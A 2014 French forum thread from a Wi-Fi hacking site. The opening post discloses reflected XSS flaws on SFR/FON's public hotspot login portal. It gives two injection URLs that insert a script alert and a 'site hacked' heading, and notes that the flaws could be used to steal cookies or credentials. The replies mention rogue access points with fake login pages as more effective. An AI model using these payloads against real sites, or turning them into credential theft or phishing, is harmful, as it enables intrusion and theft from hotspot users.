Crack-wifi.com FORUM

LE FORUM DU SITE

Wifi, Backtrack, crack WEP et WPA...

Vous n'êtes pas identifié(e).  

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#1 01-07-2014 21:55:30

androgyn3
N00b
Inscription : 27-08-2009
Messages : 1

0day XSS https://hotspot.wifi.sfr.fr

Salut,

J'ai trouvé quelques XSS sur le portail de connexion hot spot wifi SFR/FON https://hotspot.wifi.sfr.fr

Ceux ci pourraient être exploités de facon malveillante dans le but de voler les cookies ou les identifiants  SFR/FON (phishing/form logger)

Proof of concept :

https://hotspot.wifi.sfr.fr/indexEncryptingChilli.php?challenge=&mac=&mode=&res=smartclient&uamip=&uamport=1%27%22%3CScRiPt%20%3Ealert%28String.fromCharCode%2883,%2070,%2082,%2032,%2088,%2083,%2083,%2032,%2098,%20121,%2032,%2065,%20110,%20100,%20114,%20111,%20103,%20121,%20110,%2051%29%29%3C/ScRiPt%3E%3Ch1%3ETHIS%20SITE%20WAS%20HACKED%3C/h1%3E&userurl=
https://hotspot.wifi.sfr.fr/indexEncryptingChilli.php?challenge=&mac=&mode=&res=smartclient&uamip=1%27%22%3CScRiPt%20%3Ealert%28String.fromCharCode%2883,%2070,%2082,%2032,%2088,%2083,%2083,%2032,%2098,%20121,%2032,%2065,%20110,%20100,%20114,%20111,%20103,%20121,%20110,%2051%29%29%3C/ScRiPt%3E%3Ch1%3ETHIS%20SITE%20WAS%20HACKED%3C/h1%3E&uamport=&userurl=

Screenshoot :

XSS SFR Androgyn3

A3

Dernière modification par androgyn3 (01-07-2014 21:58:40)

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#2 01-07-2014 22:03:26

Furyo
Membre Irremplaçable
Inscription : 25-11-2010
Messages : 1 393
Site Web

Re : 0day XSS https://hotspot.wifi.sfr.fr

et moi c'est henri wink


Rogue AP bien faite (avec une page de connexion bien faite), donne bien plus de resultats...

M'enfin, je dis ca je dis rien...


Je prendrai le temps de répondre aux gens qui auront pris le temps de se présenter..
Les membres suspectés d'intentions douteuses ne trouveront que mon silence en réponse.
Morpheus à Néo : On n'est pas le meilleur quand on le croit, mais quand on le sait..
387003.jpg

Hors Ligne

#3 04-07-2014 19:43:45

flatounet
Membre V.I.P.
Inscription : 05-03-2010
Messages : 209

Re : 0day XSS https://hotspot.wifi.sfr.fr

ouep ,m’en-fin faut etre "con" pour se connecté sur un site .....

tu te connecte à un ap , et la tu te logg

là c'est avec un accès internet ou tu accede à cette page ...
il faut vraiment être tête en l'air pour se logg la dedans ...


ce qui me fait franchement peur c'est les AP avec raspberry pi.
moi qui me connecte un peu partout ....mais bon (avec identifiant sim ( mobile) )

Dernière modification par flatounet (04-07-2014 19:46:35)

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

Sujets similaires

Discussion Réponses Vues Dernier message
Quelle carte wifi choisir ? par Morpheus_Dotcom
2 91 05-12-2016 15:11:00 par Morpheus_Dotcom
8 297 17-11-2016 12:02:17 par koala
0 277 22-10-2016 19:03:48 par Antho3674
6 4764 05-10-2016 10:26:24 par X-Ecutioner
9 904 28-09-2016 11:33:08 par damsss

Pied de page des forums


Le coin des bonnes affaires, achats informatiques:


|   Alfa 1000 mW AWUS036H   |    Linksys WRT54GL   |    Misco, informatique   |   
 |    Ebay   |    PC portables   |    PC Gamers & Tuning   |    Cles USB   |   
|   Disques durs externes 2 To   |   
|   Wifi-highpower.com   |   


Server Stats - [ Generated in 0.023 seconds ]   Forum Stat - [ Most users ever online on the forum was : 150 on 20-09-2009 17:06:59 ]